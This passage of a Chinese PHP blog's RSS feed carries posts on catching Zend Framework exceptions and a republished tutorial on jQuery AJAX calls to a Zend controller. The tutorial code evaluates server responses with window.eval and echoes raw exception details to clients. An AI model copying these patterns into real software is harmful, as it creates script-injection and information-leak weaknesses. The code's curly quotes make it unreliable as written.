                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F25%2Flinux%25E5%2592%258Cwindows%25E4%25B8%258B%25E5%259D%2587%25E5%258F%25AF%25E6%259F%25A5%25E8%25AF%25A2pr%25E7%259A%2584php%25E4%25BB%25A3%25E7%25A0%2581%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F10%2F%25E4%25BB%258A%25E6%2597%25A5%25E5%2588%25B0%25E5%258D%2597%25E4%25BA%25AC%25E4%25B8%258A%25E7%25BD%2591%25EF%25BC%258C%25E5%258F%2591%25E7%258E%25B0ff%25E5%2581%25B6%25E5%25B0%2594%25E6%2589%2593%25E5%25BC%2580%25E7%259A%2584%25E7%25BD%2591%25E9%25A1%25B5%25E5%2587%25BA%25E7%258E%25B0%25E5%25A6%2582%25E4%25B8%258B%25E4%25BB%25A3%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">linux和windows下均可查询pr的php代码</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F25%2Fphp%25E6%259F%25A5%25E8%25AF%25A2alexa%25E6%258E%2592%25E5%2590%258D%25E7%259A%2584%25E4%25BB%25A3%25E7%25A0%2581%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F10%2F%25E4%25BB%258A%25E6%2597%25A5%25E5%2588%25B0%25E5%258D%2597%25E4%25BA%25AC%25E4%25B8%258A%25E7%25BD%2591%25EF%25BC%258C%25E5%258F%2591%25E7%258E%25B0ff%25E5%2581%25B6%25E5%25B0%2594%25E6%2589%2593%25E5%25BC%2580%25E7%259A%2584%25E7%25BD%2591%25E9%25A1%25B5%25E5%2587%25BA%25E7%258E%25B0%25E5%25A6%2582%25E4%25B8%258B%25E4%25BB%25A3%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php查询alexa排名的代码</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F27%2Fhow-to-sold-item-from-blog-of-self%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F10%2F%25E4%25BB%258A%25E6%2597%25A5%25E5%2588%25B0%25E5%258D%2597%25E4%25BA%25AC%25E4%25B8%258A%25E7%25BD%2591%25EF%25BC%258C%25E5%258F%2591%25E7%258E%25B0ff%25E5%2581%25B6%25E5%25B0%2594%25E6%2589%2593%25E5%25BC%2580%25E7%259A%2584%25E7%25BD%2591%25E9%25A1%25B5%25E5%2587%25BA%25E7%258E%25B0%25E5%25A6%2582%25E4%25B8%258B%25E4%25BB%25A3%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">如何在自己的博客上卖淘宝店铺的商品？如何免费推广自己淘宝商品？</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件" rel="nofollow">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>zend framework错误或者异常信息捕捉</title>
		<link>http://www.pkphp.com/2008/08/27/zend-framework-exception/</link>
		<comments>http://www.pkphp.com/2008/08/27/zend-framework-exception/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 14:48:32 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[zend framework]]></category>
		<category><![CDATA[zendframework]]></category>
		<category><![CDATA[异常]]></category>
		<category><![CDATA[框架]]></category>
		<category><![CDATA[错误]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=537</guid>
		<description><![CDATA[今天在做一个项目是使用到了ZendFramework的错误或者异常信息控制机制，可以使用以下方法一次类推的处理所有zend framework框架中的任何异常。 try { /** 这里调用了Zend_Feed类. **/ $channel = Zend_Feed::import($r['parentURL']); } catch (Zend_Feed_Exception $e) { /** 当捕捉到Zend_Feed_Exception错误后在这里处理异常信息. **/ echo $e; } catch( Zend_Exception $f) { /** 如果没有捕捉到 Zend_Feed_Exception 或者 child异常信息，在这里处理. **/ echo $f; } Related items [转]详细介绍php Zend Framework中的render使用方法 svn错误：Authentication realm 解决办法 今日到南京上网，发现偶尔打开的网页出现如下代码 jQuery AJAX in Zend Framework Zend Framework V1.5 中的新特性 zend 异常(2)Zend Framework [...]<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">jQuery AJAX in Zend Framework</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">[转]详细介绍php Zend Framework中的render使用方法</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework MVC流程图[转帖]</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>今天在做一个项目是使用到了ZendFramework的错误或者异常信息控制机制，可以使用以下方法一次类推的处理所有zend framework框架中的任何异常。<br />
<code><br />
try {<br />
   /** 这里调用了Zend_Feed类. **/<br />
   $channel = Zend_Feed::import($r['parentURL']);<br />
}<br />
catch (Zend_Feed_Exception $e)<br />
{<br />
     /** 当捕捉到Zend_Feed_Exception错误后在这里处理异常信息. **/<br />
    echo $e;<br />
}<br />
catch( Zend_Exception $f)<br />
{<br />
   /** 如果没有捕捉到 Zend_Feed_Exception 或者 child异常信息，在这里处理. **/<br />
  echo $f;<br />
}<br />
</code><br />
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2010/01/09/zend-framework-render-intro/'>[转]详细介绍php Zend Framework中的render使用方法</a></li>
<li><a href='http://www.pkphp.com/2008/10/06/svn-authentication-realm/'>svn错误：Authentication realm 解决办法</a></li>
<li><a href='http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/'>今日到南京上网，发现偶尔打开的网页出现如下代码</a></li>
<li><a href='http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/'>jQuery AJAX in Zend Framework</a></li>
<li><a href='http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/'>Zend Framework V1.5 中的新特性</a></li>
</ul>
<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="zend 异常" style="font-size: 13px;">zend 异常</a>(2)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="Zend Framework 处理所有异常" style="font-size: 13px;">Zend Framework 处理所有异常</a>(1)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="Zendframework 错误处理" style="font-size: 13px;">Zendframework 错误处理</a>(2)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="zend framework 错误信息" style="font-size: 13px;">zend framework 错误信息</a>(1)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="捕捉php信息" style="font-size: 13px;">捕捉php信息</a>(1)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="zend framework 错误处理" style="font-size: 13px;">zend framework 错误处理</a>(4)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="zend framework 调用错误处理" style="font-size: 13px;">zend framework 调用错误处理</a>(1)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="zend framework错误控制" style="font-size: 13px;">zend framework错误控制</a>(1)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="zend framework 错误" style="font-size: 13px;">zend framework 错误</a>(3)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="捕捉php错误" style="font-size: 13px;">捕捉php错误</a>(1)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="Zend Framework 异常" style="font-size: 13px;">Zend Framework 异常</a>(4)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="zend framework 处理异常" style="font-size: 13px;">zend framework 处理异常</a>(1)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="php 异常信息" style="font-size: 13px;">php 异常信息</a>(1)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="如何启用zend framework的异常插件" style="font-size: 13px;">如何启用zend framework的异常插件</a>(1)<a href="http://www.pkphp.com/2008/08/27/zend-framework-exception/" title="zend framework异常" style="font-size: 13px;">zend framework异常</a>(2)<br /><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">jQuery AJAX in Zend Framework</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">[转]详细介绍php Zend Framework中的render使用方法</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework MVC流程图[转帖]</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件" rel="nofollow">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2008/08/27/zend-framework-exception/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery AJAX in Zend Framework</title>
		<link>http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/</link>
		<comments>http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/#comments</comments>
		<pubDate>Fri, 04 Jul 2008 12:58:44 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[zend framework]]></category>
		<category><![CDATA[Framework]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Zend]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=144</guid>
		<description><![CDATA[研究一篇老外的文章：在zend framework中使用jquery


I have posted a sample code on my wiki on how to submit variables to an action controller. The sample code contains a niffty jQuery plugin - the jQuery Calendar.

Click here for the tutorial.

Update (05-07-2008): Since this post has been get...<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">zend framework错误或者异常信息捕捉</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework MVC流程图[转帖]</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">【转帖】Zend Framework中Ajax的一个使用技巧</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>研究一篇老外的文章：在zend framework中使用jquery    ,原文见</p>
<ul> http://blog.ekini.net/2007/08/28/jquery-ajax-in-zend-framework/</ul>
<p>I have posted a sample code on my wiki on how to submit variables to an action controller. The sample code contains a niffty jQuery plugin &#8211; the jQuery Calendar.</p>
<p>Click here for the tutorial.</p>
<p>Update (05-07-2008): Since this post has been getting a lot of traffic and the tutorial to my wiki is not that good, I have decided to update this page and post a simpler and shorter tutorial.</p>
<p>So here it is…</p>
<p>The Javascript will look something like this:<br />
<code lang="php"><br />
//For Edit Action<br />
function editnote(notes_id)<br />
{<br />
//a sample loading image thingy<br />
$(‘#notes_entry_id’).prepend(&quot;&lt;div id=&quot;’loading’&quot;&gt;&lt;a&gt;&lt;/a&gt;&lt;/div&gt;&quot;);<br />
//Get notes from database - in ZF, notes = controller and getnoteforedit = action<br />
$.post(baseUrl+&quot;/notes/getnoteforedit&quot;,{<br />
notes_id: notes_id<br />
}, function(data){<br />
$(‘#loading’).remove();<br />
obj = window.eval(data);<br />
$(‘#textarea_id’).val(obj[‘notes’]);<br />
}, &quot;json&quot;); //this returns JSON.<br />
}<br />
</code><br />
Then my controller would look something like this:<br />
<code lang="php"><br />
/**<br />
* Get note for action<br />
*<br />
*/<br />
public function getnoteforeditAction()<br />
{<br />
$this-&gt;_helper-&gt;layout-&gt;disableLayout();    //disable layout<br />
$this-&gt;_helper-&gt;viewRenderer-&gt;setNoRender(); //suppress auto-rendering<br />
//the 2 lines above are very important. this action would return html tags from the layout and will look for a phtml file. we disable the layout and suppress auto-rendering of the phtml view files SO that our JSON will be echoed properly to the Javascript…<br />
require_once(‘models/Notes.php’);<br />
require_once(‘models/UsersNotes.php’);<br />
try {<br />
if (!$this-&gt;_request-&gt;isPost()) {<br />
throw new Exception(‘Invalid action. Not post.’);<br />
}<br />
$Notes = new Notes();<br />
$data = array();<br />
if ($result = $Notes-&gt;fetchRow("notes_id=".$Notes-&gt;getAdapter()-&gt;quote($_POST[‘notes_id’])."")-&gt;toArray()) {<br />
$data[‘notes_id’]             = $result["notes_id"];<br />
$data[‘notes’]                = $result["notes"];<br />
$data[‘datetime_posted’] = $result["datetime_posted"];<br />
$data[’status’]               = $result["status"];<br />
$json = Zend_Json::encode($data);    //basically, $data array will also be available in the JS.<br />
} else {<br />
throw new Exception(‘Note ID not found.’);<br />
}<br />
echo $json; //this will echo JSON to the Javascript<br />
unset($json);<br />
unset($data);<br />
} catch (Exception $e) {<br />
echo $e-&gt;getMessage();<br />
}<br />
}<br />
</code></p>
<p>That’s about it… <img src='http://www.pkphp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
The $data that was encoded using Zend_JSON in the controller/action can now be accessed in the Javascript after you call the eval().<br />
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/'>Zend Framework V1.5 中的新特性</a></li>
<li><a href='http://www.pkphp.com/2010/01/09/zend-framework-render-intro/'>[转]详细介绍php Zend Framework中的render使用方法</a></li>
<li><a href='http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/'>今日到南京上网，发现偶尔打开的网页出现如下代码</a></li>
<li><a href='http://www.pkphp.com/2008/09/07/jquery-for-ajax-loading-message/'>使用juqery创建加载消息Using JQuery for an Ajax loading message</a></li>
<li><a href='http://www.pkphp.com/2008/08/27/zend-framework-exception/'>zend framework错误或者异常信息捕捉</a></li>
</ul>
<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="zend framework ajax" style="font-size: 13px;">zend framework ajax</a>(78)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="zend framework layout" style="font-size: 13px;">zend framework layout</a>(8)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="jquery ajax after post" style="font-size: 13px;">jquery ajax after post</a>(1)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="zend framework" style="font-size: 13px;">zend framework</a>(3)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="jquery zend framework" style="font-size: 13px;">jquery zend framework</a>(6)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="zendframework" style="font-size: 13px;">zendframework</a>(2)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="zend ajax" style="font-size: 13px;">zend ajax</a>(25)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="Zend jquery" style="font-size: 13px;">Zend jquery</a>(37)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="zend framework tutorial" style="font-size: 13px;">zend framework tutorial</a>(1)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" style="font-size: 13px;">http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/</a>(2)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="zendframework Ajax" style="font-size: 13px;">zendframework Ajax</a>(9)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="zend framework php pk" style="font-size: 13px;">zend framework php pk</a>(1)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="tutorial zend framework V1.6" style="font-size: 13px;">tutorial zend framework V1.6</a>(1)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="ajax in zend framework" style="font-size: 13px;">ajax in zend framework</a>(1)<a href="http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/" title="jquery in zend framework" style="font-size: 13px;">jquery in zend framework</a>(1)<br /><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">zend framework错误或者异常信息捕捉</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework MVC流程图[转帖]</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
